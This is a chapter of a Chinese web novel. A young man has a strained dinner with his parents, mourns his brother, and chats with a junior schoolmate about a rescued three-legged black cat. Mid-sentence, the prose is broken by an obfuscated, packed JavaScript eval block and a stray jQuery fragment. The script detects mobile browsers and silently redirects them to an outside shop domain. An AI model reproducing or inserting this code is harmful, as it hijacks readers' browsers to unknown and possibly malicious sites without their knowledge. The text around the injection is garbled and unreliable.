素聿回家前先去了爸妈家。

    他们住在一个小区,前后栋,相隔一栋楼的距离。

    六楼,人脸识别进屋,沸腾的热雾扑面而来,满是苦涩的野菜味。

    素聿眉宇微颦,轻轻带上门,素父此时裹挟缕缕烟雾走出厨房,和站在门口的儿子对视。

    老人精神矍铄,身型板直,背景是大片大片红色装饰,气势威煞。

    素聿想,还是古朴的老屋子更配这信念昂扬的红。

    厨房在大门左侧,烟不断飘出来,呛得很,素父却岿然不动,绷着脸上下打量素聿。

    感觉眼都要流下泪了,素聿只好率先打破沉默:“爸,我来了。”

    素程军背着手,闻言点头:“嗯,正好吃饭的点,快坐。”

    素聿哎了声,将带来的酒匆匆放到客厅角落,然后急忙进厨房端菜。

    “妈。”素聿进去就喊妈,她正抱臂侧站着,居高临下地审视咕嘟嘟的炖煮锅,水都快漾出来了还镇定自若。

    听到儿子的声音,赵庭昉的视线落过去,眼睛跟着素聿移动,细细将慌忙跑来关火的儿子扫射一遍。

    五分钟后,饭桌上出现三菜一汤:

    橄榄油拌煮菠菜、芝麻菜番茄沙拉、生菜包金枪鱼和海带排骨汤,打眼一瞧绿意盎然。

    三冷一热,也不知怎么倒腾出滚滚浓烟的。

    素聿夹起一块气味苦涩的菠菜,经过咀嚼越发生苦,素母盛汤给他,他接过喝了口,没味道,夹肉吃,肉质硬邦邦。

    但是都熟了。

    妈妈的手艺有进步。

    这对夫妻早年吃沙土饼子长大的,土炕生火炖白菜粉条都是奢侈,五六十岁才知道天然灶的使用方法。

    筷子转战沙拉,爽脆多汁,三文鱼滑嫩,但蔬菜的水分和生油脂粘舌的腻感,让素聿隐隐反胃。

    他静静吞咽,不消片刻就听妈妈问:“顺利吗?”

    素聿咽下食物,停下筷子,抬脸看她:“嗯,他很好,他家人待我也不错。”

    回应脸色肃穆的母亲,他也是不带笑的,脊背挺直,正襟危坐地客观阐述男友的重视,提到对方下周再来拜访。

    最后,素聿垂下眼,看着自己交握的双手:“我们计划年底结婚,我……也打算明年回到律所,不开面包店了。”

    一直沉默的素程军突然发问:“你考虑得清楚?你那个……对象,家底干不干净?你怎么还没去找孙书记查查。”

    素程军在军伍待惯了,口吻向来严厉,仿佛在审问敌人,搞得素聿愣住,这时赵庭昉拧眉斥道:“饭桌上少聊东聊西。”

    分明是她引起的话题,素父只撇撇嘴,素聿也噤了声,低头嚼没什么滋味的饭菜,感觉味觉和意识似要脱离躯体。

    “我吃好了。”素聿离座向最里面的卧室走去,赵庭昉在他背后说:“明天休息,你今天多陪陪你哥。”

    素聿回头对她笑笑:“嗯。”

    推门、关门,坐到床上,素聿平视着前方,不动了。

    真就只是陪伴。

    陪伴卧室中央、他身前那黑檀木桌上的遗照。

    待了半小时,素聿向还在餐桌前的爸妈告辞,出了门,他呼出一口气,闭眼平缓几秒才拖动沉重的脚步。

    -

    赵庭昉和素程军挤在厨房的大窗前扒着窗沿,视线紧紧跟随楼下瘦削的小影子。

    直到小影子消失在前栋的单元楼,俩人这才挺直背,回客厅扒拉出素聿送的白酒。

    赵庭昉看着素程军烫酒,冷不丁道:“家里不是部队。”

    素父瞅她:“就能是你的会议室?”

    素母眼神一凛,素父顿时正色,给老婆和自己倒了一杯:“是,我的错,但是那小子经商的,我多问几句,辨辨他是人是鬼,不然儿子为什么要重操旧业……”

    “你问他能问出什么?他看谁都不差,不放心,你找小孙查,我们多说多错,不如不说。”赵庭昉拿起小酒盅,合着愁绪饮了。

    半晌,素程军叹气,点点头,又给她续上一杯。

    -

    素聿关闭浴缸的恒定温度装置,把手伸进水中搅动。

    森白的缸壁、漾动的水波,层层冷光衬得玉白的手臂蝉翼似的薄,似乎能让流水割碎。

    感受片刻,他扭开水龙头,继续兑冷水,直到水温凉到彻骨,他站起来,围体的浴巾落下,堆到地面,两条细瘦的长腿缓缓迈入浴缸。

    青年坐在冰冷的浴缸之中,以蜷缩的姿势抱腿,嶙峋突起的肩胛骨如敛翅的蝶。

    他把头垂得很低,半个头颅埋下水面,那乌黑浓密的发丝漂浮在缸体,凝出一潭黑蓝的水体。

    退休后,朴素节俭的两个老人回到了大院,但因为素聿同性恋的消息传开,不得不搬离。

    他们只提了一嘴:“早点稳定下来。”

    素聿对此不可说不愧疚。

    再抬脸,知觉慢慢恢复,冷水也被体温哄暖了,有种黏腻的恶心感。

    哗啦——

    素聿站起身,赤着脚,水淋淋地走到镜子前,对镜抚摸侧脸。

    冻红的手指游过下颌、锁骨……

    神经紧张泛起的红晕消去,徒留索然的白,灰白的丝质浴袍和肤色几近相融,白到阴沉。

    手落到胸口,其上蔓延的血管像寂寥的枯树芽,萎靡生长。

    素聿猛地抓紧领子将袒露的胸膛遮住,用力到指尖紫红,脸上却是无动于衷的沉寂。

    他在反刍:爸爸那句话,是怪自己去晚了,没帮忙备菜吗?

    “……”

    可以做得更好。

    等到年底,结了婚,一切都会变好,回归完美。

    -

    睡前定闹钟,素聿看了眼手机,他一愣,有好几条来自两个小时前的消息。

    发送人的名字让他心头抽搐一下。

    素聿点开,仔细看了看,呼吸才渐渐平缓。

    是瞿淮。

    -瞿淮:学长,我捡到了一只猫。

    -瞿淮:[呆][呆][呆]

    -瞿淮:你知道怎么养吗?我没养过宠物!

    -瞿淮:[图片]

    素聿:“?”

    这黑乎乎的一团……是小猫啊?

    他调大图片,再往下划了几张,是一只黑猫,全身毛色深黑,绿色的眼球像小灯笼。

    体型偏小,像三四个月的幼猫,它被男生一手搂住,小耳朵小爪子都朝下耷拉着,委委屈屈。

    -素聿:抱歉,才看到消息,你先带它去医院检查好吗?

    -素聿:它的前爪受伤了

    素聿说得委婉,如果他没看错,这只猫少了一只前爪。

    断口闭合,但形状异常圆钝,像发炎导致的肿胀过度。

    瞿淮回得很快:嗯嗯,我发消息的时候就在往医院赶,现在已经到了,医生正在处理猫的伤口

    -素聿:你一个人吗?在哪家医院,我也过去。

    -瞿淮:不用不用,我叔叔在!

    -素聿:那就好。

    -素聿:你听医生的建议吧,应该要住院。

    -瞿淮:[点头]

    -瞿淮:[点头]

    素聿打字到一半,才察觉男生对应着回复了两次表情,他勾唇笑笑,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17881200|212465||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    先回一个[摸摸]。

    -素聿:养猫要看猫咪的性格呢,方便告诉我你家附近的快递站吗?我寄一些猫咪用品和宠物书给你。

    瞿淮懂事得很,忙说不用不用,但看到素聿重发一遍摸脑袋的表情,后面跟着一条:“听话。”

    瞿淮秒发。

    地址具体到门牌号。

    -素聿:好的。

    -素聿:注意安全。

    -素聿:有事打电话,我很晚才睡。

    瞿淮坐在宠物医院冰冷的椅子上,心里却暖热难耐,同时漫上浓厚的愧疚,他也太依赖学长了。

    瞿淮正在自责,秘书这时出了诊疗室。

    “小少爷,医生说您的宠物要在医院治疗三周左右,”秘书说着,又拿出接通的手机,“瞿董的电话,请接听。”

    瞿淮接过手机放耳边,那头的第一句话就是:“瞿淮,你最近训练懈怠,课业完成更是差劲。”

    沉稳又不失严厉的男声震耳:“这样下去,你没必要留在国内。”

    瞿淮这才想起期中成绩寄到了家中,上周他浑浑噩噩,答题写下的解,是寻求青春悸动的“解”。

    仗着瞿陌看不见,瞿淮脸上烦躁,语气倒是知错了:“叔,不至于因为一次考试把亲侄子赶走吧?我吸取教训了,接下来的时间一定奋发向上。”

    他懒懒回着,和秘书对上视线,俩人颇有些同病相怜。

    瞿陌的挑剔程度非人,一点不合心意便不留情面的贬斥,极度的严谨和无情使得他35岁就转为董事。

    也不知道婶婶受不受得了。

    瞿淮糊弄过去,往常该挂断了,叔叔却继续说:“养猫可以,你负责看管好,不能带到主栋。”

    男人顿了顿,补充:“他会害怕。”

    瞿淮一挑眉,反应几秒才恍悟瞿陌突然提到“他”是谁。

    真是水做的人。

    瞿淮想,怕男人的裸体、怕小猫,唯独不害怕危害性最大的瞿陌。

    似乎还打算要个小孩,自己就柔弱又金贵的,能养好吗?

    孩子如果不听话,估计他娇弱的婶婶只会把自己锁房间里偷偷抹眼泪。

    通话终止的下一秒,瞿淮进到救护室,拍了几张猫咪的照片,和猫咪安然无事的好消息一起发给素聿。

    两小时前,瞿淮下楼刚搬了一趟行李,忽然听到虚弱的叫声,在草丛发现了这只蜷缩发抖的黑团。

    遍体鳞伤,碧绿的眼珠写满痛苦,又寄希望于这个路人救他,于是毫不反抗,让瞿淮抱走了。

    很神奇,瞿淮觉得这只猫和素聿很像,但这想法只闪过一秒,因为学长并不落魄,绝对是用富足物质养护出来的美人。

    可能是因为那一份令瞿淮琢磨不透的哀伤,学长似乎每天都不开心。

    说曹操曹操到,消息来了。

    -素聿:真可爱。

    -素聿:[摸摸][摸摸]

    -素聿:明天你还会来店里吗?我把东西当面给你怎么样?

    -素聿:正好要做法式软糖,你来的话,我多做一点。

    -素聿:[等待]

    砰!惊天的巨响使得护士回头,她戒备地看了看趴倒的男生,怀抱猫箱快速离开。

    瞿淮以头创地般窝在桌子上,肩背抖擞不停。

    最后一条消息,一只漂亮的小黑猫蹲在纸箱里,耳朵抖着,尾巴晃着,仰高小脑袋眨动大眼睛,乖乖地等待。

    瞿淮很难不幻视是学长本人在期待他的光临。

    这不去还是人吗?

    明天就算刮龙卷风下巨型冰雹全城交通瘫痪,他也必须去见他。